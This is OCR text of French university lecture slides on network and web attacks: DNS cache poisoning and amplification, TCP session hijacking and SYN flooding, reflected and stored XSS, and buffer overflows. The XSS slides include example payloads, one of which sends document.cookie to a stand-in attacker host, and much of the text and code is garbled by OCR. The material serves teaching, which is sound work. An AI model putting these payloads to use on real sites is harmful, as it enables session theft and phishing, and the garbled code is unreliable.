http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com=6.6.6.6/
http://www.bank.com/
http://www.bank.com=6.6.6.6/
http://www.bank.com/
http://www.bank.com=6.6.6.6/
http://www.bank.com/

Les enjeux de la sécurité

Comprendre les
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* DNS Spoofing : DNS Cache poisoning

Client A

verybadthing.com ? ID=1

Client A

DNS Serveur DNS Serveur

verybadthing.com ? ID=1§256

DNS Serveur DNS Serveur
verybadthing.com ? ID=1§256

2.2.2.2 Verybadthlng.com

6.6.6.6 www.bank.com

verybadthing.com ? ID=1
verybadthing.com =2.2.2.2 ID=1 +
Add info (www bank.com=6.6.6.6) [

>

verybadthing.com =2.2.2.2 1D=13256 +
Add info (www.bank.com=6.6.6.6)
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* DNS Spoofing : DOS using DNS

DNS Serveurs

Dest IP Xs

Source 1.2.3.4

Client A
1.2.3.4

Taille de la requéte
27 octets

Facteur * 10
pour chaque
requéte

Taille de la réponse
312 octets
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TCP Session Hijaking
Se faire passer pour une machine de confiance
Injecter des données dans une connexion déja établie
Récupérer des données (a la demande) dans une

connexion établie

TCP Flooding
Bloquer une machine en lui forcant a réserver des

ressources



Les enjeux de laisécurité

* TCP protocol

Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques

socket()
connect()

Client —
CLOSED
CLOSED
LISTEN
Syn s eg=y
SYN_SENT syn+AckK seq=v ack=xtl
SYN_RVCD
Ack S€Q=x+] ack=y4 g
ESTABLISHED
ESTABLISHED

socket()
bind()
listen()
accept()

At

http://fr.wikipedia.org/wiki/Transmission Control Protocol
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Les enjeux de la sécurité

* TCP protocol

Computer A Computer B

write() Send n bytes
of data [T 5805 a1y, ESTABLISHED
ESTABLISHED Receive n bytes
" Seq:"}" ac =x+N of data
Know that data AC
are received -

http://fr.wikipedia.org/wiki/Transmission Control Protocol

it
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* TCP Session hijacking

TCP Sync

SYN, seqg=a

SYN, seq=b, ack=a+1

ACK, seq=a+1 ack=b+1

Data
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* TCP Flooding

Evolution du monde Les enjeux de la Comprendre les
I informatique sécurité attaques

SYN, seg=a

SYN, seq=b, ack=a+1

SYN, ¢ &gy
N ACK ’: B

Attend le ACK sans relacher
les ressources

Attente avec n*requete syn
réservation de ressouces
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Evolution du monde Les enjeux de la Comprendre les
‘ non . 2 I informatique sécurité attaques
. ~ov A ok ~ Y4
Les enjeux de la sécurité

+ XSS Cross Site Scripting
! Exécuter du code dans une page web
—~ al’aide de parametres

— al'aide de formulaires

! 2 grandes familles

— XSS non-persistant

— XSS persistant

* Menaces

— Redirection (parfois transparente) de 'utilisateur (= phishing)

~  Vols d’information (sessions/cookies)

~ Actions malveillantes (défacement, suppression de données)
avec l'identité de l'utilisateur courant

- Modification du site, DoS

at
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* XSS non persistant

<¥f page language="jova" contentType="text/html;
charset=I50-885%-1"
pageEncoding="I50-8859-1"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.81 Transitional//EN"

"http:/ fvww.w3.org/TR/htmld/loose. dtd™ >

<html:

<head:

<meta http-equiv="Content-Type"
content="text html; charset=I50-8859-1">

</head>
<body>

<hl:Welcome <¥= request.getParameter("name") #:</hl:
<dive

Click below to continue

<a href="http:/Swww. ingdirect. fr/">¥our bank information</ax
</div>

</body>
</html>

Welcome null

Click below to continue Your bank information

Copyright © Jacques Saraydaryan
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* XSS non persistant

oo [l .ﬁ“ http://localhost:8080/)2EE_TP1/secuX55l jsptname=toto<script» alert( attacked )< /script=

Welcome toto | Meseseceiapage. | =

& attacked

QK
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Evolution du monde Les enjeux de la Comprendre les
d @ I informatique sécurité attaques

* XSS non persistant

http://localhost:8080/J2EE_TP1/secuXSS1.jsp?name==<script>window.onload =
function() {var link=document.getElementsByTagName("a");link[0].href="http://not-
real-xssattackexamples.com/";}</script>

S # http://localhost:8080/J2EE_TP1/secuXSS1 jspPname=toto %3 c %73 %663 %7 29669 %70 %674 %3377 %60 265 e 404 %6 %77 %2e 36 30

Welcome toto i s

Propriétés

Click below to continue Y our bank information Général

% attackersite com

Protocole :  HyperTesd Transfer Protocol

Type Fichier COM./
Adresse @ http://attackersite com/
{URL)

il
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» XSS persistant

Evolution du monde Les enjeux de la Comprendre les
I informatique sécurité attaques

A Web Page

G c> X {} { hitp://

User: Jdoa
Decornection

MyFavoriteForum

52N

SL
5L
5L

[User A) ipsum dolor sit amet, corsectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Lt erim ad minim veriam,
quis nostrud exercitation ulameco laboris risi ut aliqup ex ea commodo
corsequat. Dus aute irure dolor in reprehenderit in voluptate velit

[Jdoe] esse cillum dolore eu fugiat ndla pariatur. Exceptewr sint occascat
cupidatat non proident, sunt in cupa qui officia deserutt mallit anim id est
laborum.Lorem ipsum dolor sit amet, corsectetur adipiscing elit. Vestibuum at
erat ac du dapibus hendrerit. Pellentesque leo anim,

[User A] sollicitudin non blandit quis, laoreet congue diam. Vestibuum
condimentum adipiscing leo ac tincidunt. In libero quam, vehicua eu mattis sit
amet, malesuada vel lorem. Pellentesque id elit sed lacus fermentum utrices.
Etiam a metus du. Donec venenatis, magna a tempor condimernturn,

[User A] mauris lectus faucibus purus, a mollis tortor diam id purus. Aliquam erat

<a href=# onclick=\"document location=\'http://not-reak
xssattackexamples. com/xss php 7c=\'+escape\(document cookie

W' =My Name</a=

copyright 2012

il
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Evolution du monde

» XSS persistant
A Web Page

O C> X {} { hitp://

M oriteForum

[Jdoe] esse cillum dolore eu fugiat ndla pariatur. Exceptewr sint occaecat
cupidatat non proident, sunt in cudpa qu officia deserunt mollit arim id est
laborum Lorem ipsum dolor sit amet, corsectetur adipiscing elit. Vestibdum at
erat ac du dapibus hendrerit. Pellentesque leo erim,

[user A] sollicitudin non blandit quis, laoreet congue diam. Vestibuum
condimenturn adipiscing leo ac tincidunt. In libero quam, vehicua eu mattis sit
amet, malesuada vel lorem. Pellentesque id elit sed lacus fermentum utrices.
Etiam a metus du. Donec venanatis, magna a tempor condimentum,

[User A] mauris lectus faucibus purus, a mellis tortor diam id purus. Aliquam erat
volutpat. Westibuum wvitae erat urna, et feugiat mauris. Sed semper adipiscing
lacinia,

copyright 2012

il
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Buffer OverFlow
Utiliser un bug d’un programme permettant

I’exécution d’un code avec les privileges de ce dernier

2 familles

Stack overflow (pile d’exécution du programme)

Heap overflow (mémoire allouée dynamiquement)

Menace

Exécuter du code sur une machine avec des

privileges élevés (root)




Evolution du monde Les enjeux de la Comprendre les
d @ I informatique sécurité attaques

* Buffer Overflow

Exécution de la
argl=buffer argl=buffer
commande strcpy()
arg2=str arg2=str
Buffer Chaine trop tro ) .
Exécution de la
t t t
SR el commande
p trop trop tro
p trop trop tro
p trop trop tro
p trop trop tro
v
Add de retour p longue \0
Variable str Variable str Puis exécution du
code dans str

o
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* Buffer Overflow

argl=buffer

arg2=str

Buffer

Variable str

argl=buffer

arg2=str

Chaine trop tro

p trop trop tro

p trop trop tro

Jump
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Questions ?
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